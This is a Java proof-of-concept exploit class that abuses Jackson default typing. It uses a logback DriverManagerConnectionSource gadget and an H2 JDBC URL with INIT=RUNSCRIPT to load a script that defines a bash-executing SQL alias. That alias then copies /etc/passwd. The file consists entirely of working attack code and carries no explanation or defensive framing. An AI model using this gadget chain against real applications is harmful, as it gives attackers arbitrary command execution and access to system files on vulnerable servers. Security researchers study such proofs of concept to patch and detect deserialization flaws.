package person;

import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.SerializationFeature;
import org.h2.Driver;
import java.io.*;

public class Poc {

    public static void writeSQL() throws Exception
    {
        String sql = 
            "CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {\n" +
            "String[] command = {\"bash\", \"-c\", cmd};\n" +
            "java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter(\"\\n\");\n" +
            "return s.hasNext() ? s.next() : \"\";  }\n" +
            "$$;\n\n" +
            "CALL SHELLEXEC('cp /etc/passwd /tmp')";

        FileWriter fw = new FileWriter("/tmp/inject.sql");  
        fw.write(sql);  
        fw.close();  
    }

    public static void run(String rootPath) {
        try {
            Class.forName("org.h2.Driver").newInstance();
            writeSQL();

            String jsonStr = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", " + 
            "{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '/tmp/inject.sql'\"}]";

            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
            mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);
            Object obj = mapper.readValue(jsonStr, java.lang.Object.class);

            System.out.println("objectified");
            System.out.println("stringified: " + mapper.writeValueAsString(obj));
        } catch (Exception e)  {
            e.printStackTrace();
        } 
    }
}
